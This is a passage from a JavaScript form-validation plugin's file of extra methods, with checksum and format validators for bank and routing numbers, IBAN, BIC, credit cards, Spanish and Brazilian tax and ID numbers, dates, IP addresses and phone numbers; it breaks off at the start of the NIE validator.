	// https://en.wikipedia.org/wiki/ABA_routing_transit_number
	for ( var i = 0; i < length; i += 3 ) {
		checksum +=	parseInt( tokens[ i ], 10 )     * 3 +
					parseInt( tokens[ i + 1 ], 10 ) * 7 +
					parseInt( tokens[ i + 2 ], 10 );
	}

	// If not zero and divisible by 10 then valid
	if ( checksum !== 0 && checksum % 10 === 0 ) {
		return true;
	}

	return false;
}, "Please enter a valid routing number." );

// Accept a value from a file input based on a required mimetype
$.validator.addMethod( "accept", function( value, element, param ) {

	// Split mime on commas in case we have multiple types we can accept
	var typeParam = typeof param === "string" ? param.replace( /\s/g, "" ) : "image/*",
		optionalValue = this.optional( element ),
		i, file, regex;

	// Element is optional
	if ( optionalValue ) {
		return optionalValue;
	}

	if ( $( element ).attr( "type" ) === "file" ) {

		// Escape string to be used in the regex
		// see: https://stackoverflow.com/questions/3446170/escape-string-for-use-in-javascript-regex
		// Escape also "/*" as "/.*" as a wildcard
		typeParam = typeParam
				.replace( /[\-\[\]\/\{\}\(\)\+\?\.\\\^\$\|]/g, "\\$&" )
				.replace( /,/g, "|" )
				.replace( /\/\*/g, "/.*" );

		// Check if the element has a FileList before checking each file
		if ( element.files && element.files.length ) {
			regex = new RegExp( ".?(" + typeParam + ")$", "i" );
			for ( i = 0; i < element.files.length; i++ ) {
				file = element.files[ i ];

				// Grab the mimetype from the loaded file, verify it matches
				if ( !file.type.match( regex ) ) {
					return false;
				}
			}
		}
	}

	// Either return true because we've validated each file, or because the
	// browser does not support element.files and the FileList feature
	return true;
}, $.validator.format( "Please enter a value with a valid mimetype." ) );

$.validator.addMethod( "alphanumeric", function( value, element ) {
	return this.optional( element ) || /^\w+$/i.test( value );
}, "Letters, numbers, and underscores only please." );

/*
 * Dutch bank account numbers (not 'giro' numbers) have 9 digits
 * and pass the '11 check'.
 * We accept the notation with spaces, as that is common.
 * acceptable: 123456789 or 12 34 56 789
 */
$.validator.addMethod( "bankaccountNL", function( value, element ) {
	if ( this.optional( element ) ) {
		return true;
	}
	if ( !( /^[0-9]{9}|([0-9]{2} ){3}[0-9]{3}$/.test( value ) ) ) {
		return false;
	}

	// Now '11 check'
	var account = value.replace( / /g, "" ), // Remove spaces
		sum = 0,
		len = account.length,
		pos, factor, digit;
	for ( pos = 0; pos < len; pos++ ) {
		factor = len - pos;
		digit = account.substring( pos, pos + 1 );
		sum = sum + factor * digit;
	}
	return sum % 11 === 0;
}, "Please specify a valid bank account number." );

$.validator.addMethod( "bankorgiroaccountNL", function( value, element ) {
	return this.optional( element ) ||
			( $.validator.methods.bankaccountNL.call( this, value, element ) ) ||
			( $.validator.methods.giroaccountNL.call( this, value, element ) );
}, "Please specify a valid bank or giro account number." );

/**
 * BIC is the business identifier code (ISO 9362). This BIC check is not a guarantee for authenticity.
 *
 * BIC pattern: BBBBCCLLbbb (8 or 11 characters long; bbb is optional)
 *
 * Validation is case-insensitive. Please make sure to normalize input yourself.
 *
 * BIC definition in detail:
 * - First 4 characters - bank code (only letters)
 * - Next 2 characters - ISO 3166-1 alpha-2 country code (only letters)
 * - Next 2 characters - location code (letters and digits)
 *   a. shall not start with '0' or '1'
 *   b. second character must be a letter ('O' is not allowed) or digit ('0' for test (therefore not allowed), '1' denoting passive participant, '2' typically reverse-billing)
 * - Last 3 characters - branch code, optional (shall not start with 'X' except in case of 'XXX' for primary office) (letters and digits)
 */
$.validator.addMethod( "bic", function( value, element ) {
    return this.optional( element ) || /^([A-Z]{6}[A-Z2-9][A-NP-Z1-9])(X{3}|[A-WY-Z0-9][A-Z0-9]{2})?$/.test( value.toUpperCase() );
}, "Please specify a valid BIC code." );

/*
 * Código de identificación fiscal ( CIF ) is the tax identification code for Spanish legal entities
 * Further rules can be found in Spanish on http://es.wikipedia.org/wiki/C%C3%B3digo_de_identificaci%C3%B3n_fiscal
 *
 * Spanish CIF structure:
 *
 * [ T ][ P ][ P ][ N ][ N ][ N ][ N ][ N ][ C ]
 *
 * Where:
 *
 * T: 1 character. Kind of Organization Letter: [ABCDEFGHJKLMNPQRSUVW]
 * P: 2 characters. Province.
 * N: 5 characters. Secuencial Number within the province.
 * C: 1 character. Control Digit: [0-9A-J].
 *
 * [ T ]: Kind of Organizations. Possible values:
 *
 *   A. Corporations
 *   B. LLCs
 *   C. General partnerships
 *   D. Companies limited partnerships
 *   E. Communities of goods
 *   F. Cooperative Societies
 *   G. Associations
 *   H. Communities of homeowners in horizontal property regime
 *   J. Civil Societies
 *   K. Old format
 *   L. Old format
 *   M. Old format
 *   N. Nonresident entities
 *   P. Local authorities
 *   Q. Autonomous bodies, state or not, and the like, and congregations and religious institutions
 *   R. Congregations and religious institutions (since 2008 ORDER EHA/451/2008)
 *   S. Organs of State Administration and regions
 *   V. Agrarian Transformation
 *   W. Permanent establishments of non-resident in Spain
 *
 * [ C ]: Control Digit. It can be a number or a letter depending on T value:
 * [ T ]  -->  [ C ]
 * ------    ----------
 *   A         Number
 *   B         Number
 *   E         Number
 *   H         Number
 *   K         Letter
 *   P         Letter
 *   Q         Letter
 *   S         Letter
 *
 */
$.validator.addMethod( "cifES", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	var cifRegEx = new RegExp( /^([ABCDEFGHJKLMNPQRSUVW])(\d{7})([0-9A-J])$/gi );
	var letter  = value.substring( 0, 1 ), // [ T ]
		number  = value.substring( 1, 8 ), // [ P ][ P ][ N ][ N ][ N ][ N ][ N ]
		control = value.substring( 8, 9 ), // [ C ]
		all_sum = 0,
		even_sum = 0,
		odd_sum = 0,
		i, n,
		control_digit,
		control_letter;

	function isOdd( n ) {
		return n % 2 === 0;
	}

	// Quick format test
	if ( value.length !== 9 || !cifRegEx.test( value ) ) {
		return false;
	}

	for ( i = 0; i < number.length; i++ ) {
		n = parseInt( number[ i ], 10 );

		// Odd positions
		if ( isOdd( i ) ) {

			// Odd positions are multiplied first.
			n *= 2;

			// If the multiplication is bigger than 10 we need to adjust
			odd_sum += n < 10 ? n : n - 9;

		// Even positions
		// Just sum them
		} else {
			even_sum += n;
		}
	}

	all_sum = even_sum + odd_sum;
	control_digit = ( 10 - ( all_sum ).toString().substr( -1 ) ).toString();
	control_digit = parseInt( control_digit, 10 ) > 9 ? "0" : control_digit;
	control_letter = "JABCDEFGHI".substr( control_digit, 1 ).toString();

	// Control must be a digit
	if ( letter.match( /[ABEH]/ ) ) {
		return control === control_digit;

	// Control must be a letter
	} else if ( letter.match( /[KPQS]/ ) ) {
		return control === control_letter;
	}

	// Can be either
	return control === control_digit || control === control_letter;

}, "Please specify a valid CIF number." );

/*
 * Brazillian CNH number (Carteira Nacional de Habilitacao) is the License Driver number.
 * CNH numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation.
 */
$.validator.addMethod( "cnhBR", function( value ) {

  // Removing special characters from value
  value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" );

  // Checking value to have 11 digits only
  if ( value.length !== 11 ) {
    return false;
  }

  var sum = 0, dsc = 0, firstChar,
		firstCN, secondCN, i, j, v;

  firstChar = value.charAt( 0 );

  if ( new Array( 12 ).join( firstChar ) === value ) {
    return false;
  }

  // Step 1 - using first Check Number:
  for ( i = 0, j = 9, v = 0; i < 9; ++i, --j ) {
    sum += +( value.charAt( i ) * j );
  }

  firstCN = sum % 11;
  if ( firstCN >= 10 ) {
    firstCN = 0;
    dsc = 2;
  }

  sum = 0;
  for ( i = 0, j = 1, v = 0; i < 9; ++i, ++j ) {
    sum += +( value.charAt( i ) * j );
  }

  secondCN = sum % 11;
  if ( secondCN >= 10 ) {
    secondCN = 0;
  } else {
    secondCN = secondCN - dsc;
  }

  return ( String( firstCN ).concat( secondCN ) === value.substr( -2 ) );

}, "Please specify a valid CNH number." );

/*
 * Brazillian value number (Cadastrado de Pessoas Juridica).
 * value numbers have 14 digits in total: 12 numbers followed by 2 check numbers that are being used for validation.
 */
$.validator.addMethod( "cnpjBR", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	// Removing no number
	value = value.replace( /[^\d]+/g, "" );

	// Checking value to have 14 digits only
	if ( value.length !== 14 ) {
		return false;
	}

	// Elimina values invalidos conhecidos
	if ( value === "00000000000000" ||
		value === "11111111111111" ||
		value === "22222222222222" ||
		value === "33333333333333" ||
		value === "44444444444444" ||
		value === "55555555555555" ||
		value === "66666666666666" ||
		value === "77777777777777" ||
		value === "88888888888888" ||
		value === "99999999999999" ) {
		return false;
	}

	// Valida DVs
	var tamanho = ( value.length - 2 );
	var numeros = value.substring( 0, tamanho );
	var digitos = value.substring( tamanho );
	var soma = 0;
	var pos = tamanho - 7;

	for ( var i = tamanho; i >= 1; i-- ) {
		soma += numeros.charAt( tamanho - i ) * pos--;
		if ( pos < 2 ) {
			pos = 9;
		}
	}

	var resultado = soma % 11 < 2 ? 0 : 11 - soma % 11;

	if ( resultado !== parseInt( digitos.charAt( 0 ), 10 ) ) {
		return false;
	}

	tamanho = tamanho + 1;
	numeros = value.substring( 0, tamanho );
	soma = 0;
	pos = tamanho - 7;

	for ( var il = tamanho; il >= 1; il-- ) {
		soma += numeros.charAt( tamanho - il ) * pos--;
		if ( pos < 2 ) {
			pos = 9;
		}
	}

	resultado = soma % 11 < 2 ? 0 : 11 - soma % 11;

	if ( resultado !== parseInt( digitos.charAt( 1 ), 10 ) ) {
		return false;
	}

	return true;

}, "Please specify a CNPJ value number." );

/*
 * Brazillian CPF number (Cadastrado de Pessoas Físicas) is the equivalent of a Brazilian tax registration number.
 * CPF numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation.
 */
$.validator.addMethod( "cpfBR", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	// Removing special characters from value
	value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" );

	// Checking value to have 11 digits only
	if ( value.length !== 11 ) {
		return false;
	}

	var sum = 0,
		firstCN, secondCN, checkResult, i;

	firstCN = parseInt( value.substring( 9, 10 ), 10 );
	secondCN = parseInt( value.substring( 10, 11 ), 10 );

	checkResult = function( sum, cn ) {
		var result = ( sum * 10 ) % 11;
		if ( ( result === 10 ) || ( result === 11 ) ) {
			result = 0;
		}
		return ( result === cn );
	};

	// Checking for dump data
	if ( value === "" ||
		value === "00000000000" ||
		value === "11111111111" ||
		value === "22222222222" ||
		value === "33333333333" ||
		value === "44444444444" ||
		value === "55555555555" ||
		value === "66666666666" ||
		value === "77777777777" ||
		value === "88888888888" ||
		value === "99999999999"
	) {
		return false;
	}

	// Step 1 - using first Check Number:
	for ( i = 1; i <= 9; i++ ) {
		sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 11 - i );
	}

	// If first Check Number (CN) is valid, move to Step 2 - using second Check Number:
	if ( checkResult( sum, firstCN ) ) {
		sum = 0;
		for ( i = 1; i <= 10; i++ ) {
			sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 12 - i );
		}
		return checkResult( sum, secondCN );
	}
	return false;

}, "Please specify a valid CPF number." );

// https://jqueryvalidation.org/creditcard-method/
// based on https://en.wikipedia.org/wiki/Luhn_algorithm
$.validator.addMethod( "creditcard", function( value, element ) {
	if ( this.optional( element ) ) {
		return "dependency-mismatch";
	}

	// Accept only spaces, digits and dashes
	if ( /[^0-9 \-]+/.test( value ) ) {
		return false;
	}

	var nCheck = 0,
		nDigit = 0,
		bEven = false,
		n, cDigit;

	value = value.replace( /\D/g, "" );

	// Basing min and max length on
	// https://dev.ean.com/general-info/valid-card-types/
	if ( value.length < 13 || value.length > 19 ) {
		return false;
	}

	for ( n = value.length - 1; n >= 0; n-- ) {
		cDigit = value.charAt( n );
		nDigit = parseInt( cDigit, 10 );
		if ( bEven ) {
			if ( ( nDigit *= 2 ) > 9 ) {
				nDigit -= 9;
			}
		}

		nCheck += nDigit;
		bEven = !bEven;
	}

	return ( nCheck % 10 ) === 0;
}, "Please enter a valid credit card number." );

/* NOTICE: Modified version of Castle.Components.Validator.CreditCardValidator
 * Redistributed under the Apache License 2.0 at http://www.apache.org/licenses/LICENSE-2.0
 * Valid Types: mastercard, visa, amex, dinersclub, enroute, discover, jcb, unknown, all (overrides all other settings)
 */
$.validator.addMethod( "creditcardtypes", function( value, element, param ) {
	if ( /[^0-9\-]+/.test( value ) ) {
		return false;
	}

	value = value.replace( /\D/g, "" );

	var validTypes = 0x0000;

	if ( param.mastercard ) {
		validTypes |= 0x0001;
	}
	if ( param.visa ) {
		validTypes |= 0x0002;
	}
	if ( param.amex ) {
		validTypes |= 0x0004;
	}
	if ( param.dinersclub ) {
		validTypes |= 0x0008;
	}
	if ( param.enroute ) {
		validTypes |= 0x0010;
	}
	if ( param.discover ) {
		validTypes |= 0x0020;
	}
	if ( param.jcb ) {
		validTypes |= 0x0040;
	}
	if ( param.unknown ) {
		validTypes |= 0x0080;
	}
	if ( param.all ) {
		validTypes = 0x0001 | 0x0002 | 0x0004 | 0x0008 | 0x0010 | 0x0020 | 0x0040 | 0x0080;
	}
	if ( validTypes & 0x0001 && ( /^(5[12345])/.test( value ) || /^(2[234567])/.test( value ) ) ) { // Mastercard
		return value.length === 16;
	}
	if ( validTypes & 0x0002 && /^(4)/.test( value ) ) { // Visa
		return value.length === 16;
	}
	if ( validTypes & 0x0004 && /^(3[47])/.test( value ) ) { // Amex
		return value.length === 15;
	}
	if ( validTypes & 0x0008 && /^(3(0[012345]|[68]))/.test( value ) ) { // Dinersclub
		return value.length === 14;
	}
	if ( validTypes & 0x0010 && /^(2(014|149))/.test( value ) ) { // Enroute
		return value.length === 15;
	}
	if ( validTypes & 0x0020 && /^(6011)/.test( value ) ) { // Discover
		return value.length === 16;
	}
	if ( validTypes & 0x0040 && /^(3)/.test( value ) ) { // Jcb
		return value.length === 16;
	}
	if ( validTypes & 0x0040 && /^(2131|1800)/.test( value ) ) { // Jcb
		return value.length === 15;
	}
	if ( validTypes & 0x0080 ) { // Unknown
		return true;
	}
	return false;
}, "Please enter a valid credit card number." );

/**
 * Validates currencies with any given symbols by @jameslouiz
 * Symbols can be optional or required. Symbols required by default
 *
 * Usage examples:
 *  currency: ["£", false] - Use false for soft currency validation
 *  currency: ["$", false]
 *  currency: ["RM", false] - also works with text based symbols such as "RM" - Malaysia Ringgit etc
 *
 *  <input class="currencyInput" name="currencyInput">
 *
 * Soft symbol checking
 *  currencyInput: {
 *     currency: ["$", false]
 *  }
 *
 * Strict symbol checking (default)
 *  currencyInput: {
 *     currency: "$"
 *     //OR
 *     currency: ["$", true]
 *  }
 *
 * Multiple Symbols
 *  currencyInput: {
 *     currency: "$,£,¢"
 *  }
 */
$.validator.addMethod( "currency", function( value, element, param ) {
    var isParamString = typeof param === "string",
        symbol = isParamString ? param : param[ 0 ],
        soft = isParamString ? true : param[ 1 ],
        regex;

    symbol = symbol.replace( /,/g, "" );
    symbol = soft ? symbol + "]" : symbol + "]?";
    regex = "^[" + symbol + "([1-9]{1}[0-9]{0,2}(\\,[0-9]{3})*(\\.[0-9]{0,2})?|[1-9]{1}[0-9]{0,}(\\.[0-9]{0,2})?|0(\\.[0-9]{0,2})?|(\\.[0-9]{1,2})?)$";
    regex = new RegExp( regex );
    return this.optional( element ) || regex.test( value );

}, "Please specify a valid currency." );

$.validator.addMethod( "dateFA", function( value, element ) {
	return this.optional( element ) || /^[1-4]\d{3}\/((0?[1-6]\/((3[0-1])|([1-2][0-9])|(0?[1-9])))|((1[0-2]|(0?[7-9]))\/(30|([1-2][0-9])|(0?[1-9]))))$/.test( value );
}, $.validator.messages.date );

/**
 * Return true, if the value is a valid date, also making this formal check dd/mm/yyyy.
 *
 * @example $.validator.methods.date("01/01/1900")
 * @result true
 *
 * @example $.validator.methods.date("01/13/1990")
 * @result false
 *
 * @example $.validator.methods.date("01.01.1900")
 * @result false
 *
 * @example <input name="pippo" class="{dateITA:true}" />
 * @desc Declares an optional input element whose value must be a valid date.
 *
 * @name $.validator.methods.dateITA
 * @type Boolean
 * @cat Plugins/Validate/Methods
 */
$.validator.addMethod( "dateITA", function( value, element ) {
	var check = false,
		re = /^\d{1,2}\/\d{1,2}\/\d{4}$/,
		adata, gg, mm, aaaa, xdata;
	if ( re.test( value ) ) {
		adata = value.split( "/" );
		gg = parseInt( adata[ 0 ], 10 );
		mm = parseInt( adata[ 1 ], 10 );
		aaaa = parseInt( adata[ 2 ], 10 );
		xdata = new Date( Date.UTC( aaaa, mm - 1, gg, 12, 0, 0, 0 ) );
		if ( ( xdata.getUTCFullYear() === aaaa ) && ( xdata.getUTCMonth() === mm - 1 ) && ( xdata.getUTCDate() === gg ) ) {
			check = true;
		} else {
			check = false;
		}
	} else {
		check = false;
	}
	return this.optional( element ) || check;
}, $.validator.messages.date );

$.validator.addMethod( "dateNL", function( value, element ) {
	return this.optional( element ) || /^(0?[1-9]|[12]\d|3[01])[\.\/\-](0?[1-9]|1[012])[\.\/\-]([12]\d)?(\d\d)$/.test( value );
}, $.validator.messages.date );

// Older "accept" file extension method. Old docs: http://docs.jquery.com/Plugins/Validation/Methods/accept
$.validator.addMethod( "extension", function( value, element, param ) {
	param = typeof param === "string" ? param.replace( /,/g, "|" ) : "png|jpe?g|gif";
	return this.optional( element ) || value.match( new RegExp( "\\.(" + param + ")$", "i" ) );
}, $.validator.format( "Please enter a value with a valid extension." ) );

/**
 * Dutch giro account numbers (not bank numbers) have max 7 digits
 */
$.validator.addMethod( "giroaccountNL", function( value, element ) {
	return this.optional( element ) || /^[0-9]{1,7}$/.test( value );
}, "Please specify a valid giro account number." );

$.validator.addMethod( "greaterThan", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-greaterThan-blur" ).length ) {
        target.addClass( "validate-greaterThan-blur" ).on( "blur.validate-greaterThan", function() {
            $( element ).valid();
        } );
    }

    return value > target.val();
}, "Please enter a greater value." );

$.validator.addMethod( "greaterThanEqual", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-greaterThanEqual-blur" ).length ) {
        target.addClass( "validate-greaterThanEqual-blur" ).on( "blur.validate-greaterThanEqual", function() {
            $( element ).valid();
        } );
    }

    return value >= target.val();
}, "Please enter a greater value." );

/**
 * IBAN is the international bank account number.
 * It has a country - specific format, that is checked here too
 *
 * Validation is case-insensitive. Please make sure to normalize input yourself.
 */
$.validator.addMethod( "iban", function( value, element ) {

	// Some quick simple tests to prevent needless work
	if ( this.optional( element ) ) {
		return true;
	}

	// Remove spaces and to upper case
	var iban = value.replace( / /g, "" ).toUpperCase(),
		ibancheckdigits = "",
		leadingZeroes = true,
		cRest = "",
		cOperator = "",
		countrycode, ibancheck, charAt, cChar, bbanpattern, bbancountrypatterns, ibanregexp, i, p;

	// Check for IBAN code length.
	// It contains:
	// country code ISO 3166-1 - two letters,
	// two check digits,
	// Basic Bank Account Number (BBAN) - up to 30 chars
	var minimalIBANlength = 5;
	if ( iban.length < minimalIBANlength ) {
		return false;
	}

	// Check the country code and find the country specific format
	countrycode = iban.substring( 0, 2 );
	bbancountrypatterns = {
		"AL": "\\d{8}[\\dA-Z]{16}",
		"AD": "\\d{8}[\\dA-Z]{12}",
		"AT": "\\d{16}",
		"AZ": "[\\dA-Z]{4}\\d{20}",
		"BE": "\\d{12}",
		"BH": "[A-Z]{4}[\\dA-Z]{14}",
		"BA": "\\d{16}",
		"BR": "\\d{23}[A-Z][\\dA-Z]",
		"BG": "[A-Z]{4}\\d{6}[\\dA-Z]{8}",
		"CR": "\\d{17}",
		"HR": "\\d{17}",
		"CY": "\\d{8}[\\dA-Z]{16}",
		"CZ": "\\d{20}",
		"DK": "\\d{14}",
		"DO": "[A-Z]{4}\\d{20}",
		"EE": "\\d{16}",
		"FO": "\\d{14}",
		"FI": "\\d{14}",
		"FR": "\\d{10}[\\dA-Z]{11}\\d{2}",
		"GE": "[\\dA-Z]{2}\\d{16}",
		"DE": "\\d{18}",
		"GI": "[A-Z]{4}[\\dA-Z]{15}",
		"GR": "\\d{7}[\\dA-Z]{16}",
		"GL": "\\d{14}",
		"GT": "[\\dA-Z]{4}[\\dA-Z]{20}",
		"HU": "\\d{24}",
		"IS": "\\d{22}",
		"IE": "[\\dA-Z]{4}\\d{14}",
		"IL": "\\d{19}",
		"IT": "[A-Z]\\d{10}[\\dA-Z]{12}",
		"KZ": "\\d{3}[\\dA-Z]{13}",
		"KW": "[A-Z]{4}[\\dA-Z]{22}",
		"LV": "[A-Z]{4}[\\dA-Z]{13}",
		"LB": "\\d{4}[\\dA-Z]{20}",
		"LI": "\\d{5}[\\dA-Z]{12}",
		"LT": "\\d{16}",
		"LU": "\\d{3}[\\dA-Z]{13}",
		"MK": "\\d{3}[\\dA-Z]{10}\\d{2}",
		"MT": "[A-Z]{4}\\d{5}[\\dA-Z]{18}",
		"MR": "\\d{23}",
		"MU": "[A-Z]{4}\\d{19}[A-Z]{3}",
		"MC": "\\d{10}[\\dA-Z]{11}\\d{2}",
		"MD": "[\\dA-Z]{2}\\d{18}",
		"ME": "\\d{18}",
		"NL": "[A-Z]{4}\\d{10}",
		"NO": "\\d{11}",
		"PK": "[\\dA-Z]{4}\\d{16}",
		"PS": "[\\dA-Z]{4}\\d{21}",
		"PL": "\\d{24}",
		"PT": "\\d{21}",
		"RO": "[A-Z]{4}[\\dA-Z]{16}",
		"SM": "[A-Z]\\d{10}[\\dA-Z]{12}",
		"SA": "\\d{2}[\\dA-Z]{18}",
		"RS": "\\d{18}",
		"SK": "\\d{20}",
		"SI": "\\d{15}",
		"ES": "\\d{20}",
		"SE": "\\d{20}",
		"CH": "\\d{5}[\\dA-Z]{12}",
		"TN": "\\d{20}",
		"TR": "\\d{5}[\\dA-Z]{17}",
		"AE": "\\d{3}\\d{16}",
		"GB": "[A-Z]{4}\\d{14}",
		"VG": "[\\dA-Z]{4}\\d{16}"
	};

	bbanpattern = bbancountrypatterns[ countrycode ];

	// As new countries will start using IBAN in the
	// future, we only check if the countrycode is known.
	// This prevents false negatives, while almost all
	// false positives introduced by this, will be caught
	// by the checksum validation below anyway.
	// Strict checking should return FALSE for unknown
	// countries.
	if ( typeof bbanpattern !== "undefined" ) {
		ibanregexp = new RegExp( "^[A-Z]{2}\\d{2}" + bbanpattern + "$", "" );
		if ( !( ibanregexp.test( iban ) ) ) {
			return false; // Invalid country specific format
		}
	}

	// Now check the checksum, first convert to digits
	ibancheck = iban.substring( 4, iban.length ) + iban.substring( 0, 4 );
	for ( i = 0; i < ibancheck.length; i++ ) {
		charAt = ibancheck.charAt( i );
		if ( charAt !== "0" ) {
			leadingZeroes = false;
		}
		if ( !leadingZeroes ) {
			ibancheckdigits += "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ".indexOf( charAt );
		}
	}

	// Calculate the result of: ibancheckdigits % 97
	for ( p = 0; p < ibancheckdigits.length; p++ ) {
		cChar = ibancheckdigits.charAt( p );
		cOperator = "" + cRest + "" + cChar;
		cRest = cOperator % 97;
	}
	return cRest === 1;
}, "Please specify a valid IBAN." );

$.validator.addMethod( "integer", function( value, element ) {
	return this.optional( element ) || /^-?\d+$/.test( value );
}, "A positive or negative non-decimal number please." );

$.validator.addMethod( "ipv4", function( value, element ) {
	return this.optional( element ) || /^(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)$/i.test( value );
}, "Please enter a valid IP v4 address." );

$.validator.addMethod( "ipv6", function( value, element ) {
	return this.optional( element ) || /^((([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(([0-9A-Fa-f]{1,4}:){0,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})|(::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){1,7}:))$/i.test( value );
}, "Please enter a valid IP v6 address." );

$.validator.addMethod( "lessThan", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-lessThan-blur" ).length ) {
        target.addClass( "validate-lessThan-blur" ).on( "blur.validate-lessThan", function() {
            $( element ).valid();
        } );
    }

    return value < target.val();
}, "Please enter a lesser value." );

$.validator.addMethod( "lessThanEqual", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-lessThanEqual-blur" ).length ) {
        target.addClass( "validate-lessThanEqual-blur" ).on( "blur.validate-lessThanEqual", function() {
            $( element ).valid();
        } );
    }

    return value <= target.val();
}, "Please enter a lesser value." );

$.validator.addMethod( "lettersonly", function( value, element ) {
	return this.optional( element ) || /^[a-z]+$/i.test( value );
}, "Letters only please." );

$.validator.addMethod( "letterswithbasicpunc", function( value, element ) {
	return this.optional( element ) || /^[a-z\-.,()'"\s]+$/i.test( value );
}, "Letters or punctuation only please." );

// Limit the number of files in a FileList.
$.validator.addMethod( "maxfiles", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}

	if ( $( element ).attr( "type" ) === "file" ) {
		if ( element.files && element.files.length > param ) {
			return false;
		}
	}

	return true;
}, $.validator.format( "Please select no more than {0} files." ) );

// Limit the size of each individual file in a FileList.
$.validator.addMethod( "maxsize", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}

	if ( $( element ).attr( "type" ) === "file" ) {
		if ( element.files && element.files.length ) {
			for ( var i = 0; i < element.files.length; i++ ) {
				if ( element.files[ i ].size > param ) {
					return false;
				}
			}
		}
	}

	return true;
}, $.validator.format( "File size must not exceed {0} bytes each." ) );

// Limit the size of all files in a FileList.
$.validator.addMethod( "maxsizetotal", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}

	if ( $( element ).attr( "type" ) === "file" ) {
		if ( element.files && element.files.length ) {
			var totalSize = 0;

			for ( var i = 0; i < element.files.length; i++ ) {
				totalSize += element.files[ i ].size;
				if ( totalSize > param ) {
					return false;
				}
			}
		}
	}

	return true;
}, $.validator.format( "Total size of all files must not exceed {0} bytes." ) );


$.validator.addMethod( "mobileNL", function( value, element ) {
	return this.optional( element ) || /^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)6((\s|\s?\-\s?)?[0-9]){8}$/.test( value );
}, "Please specify a valid mobile number." );

$.validator.addMethod( "mobileRU", function( phone_number, element ) {
	var ruPhone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || ruPhone_number.length > 9 && /^((\+7|7|8)+([0-9]){10})$/.test( ruPhone_number );
}, "Please specify a valid mobile number." );

/* For UK phone functions, do the following server side processing:
 * Compare original input with this RegEx pattern:
 * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$
 * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0'
 * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2.
 * A number of very detailed GB telephone number RegEx patterns can also be found at:
 * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers
 */
$.validator.addMethod( "mobileUK", function( phone_number, element ) {
	phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?|0)7(?:[1345789]\d{2}|624)\s?\d{3}\s?\d{3})$/ );
}, "Please specify a valid mobile number." );

$.validator.addMethod( "netmask", function( value, element ) {
    return this.optional( element ) || /^(254|252|248|240|224|192|128)\.0\.0\.0|255\.(254|252|248|240|224|192|128|0)\.0\.0|255\.255\.(254|252|248|240|224|192|128|0)\.0|255\.255\.255\.(254|252|248|240|224|192|128|0)/i.test( value );
}, "Please enter a valid netmask." );

/*
 * The NIE (Número de Identificación de Extranjero) is a Spanish tax identification number assigned by the Spanish
 * authorities to any foreigner.
 *
 * The NIE is the equivalent of a Spaniards Número de Identificación Fiscal (NIF) which serves as a fiscal
 * identification number. The CIF number (Certificado de Identificación Fiscal) is equivalent to the NIF, but applies to
 * companies rather than individuals. The NIE consists of an 'X' or 'Y' followed by 7 or 8 digits then another letter.
 */
$.validator.addMethod( "nieES", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}
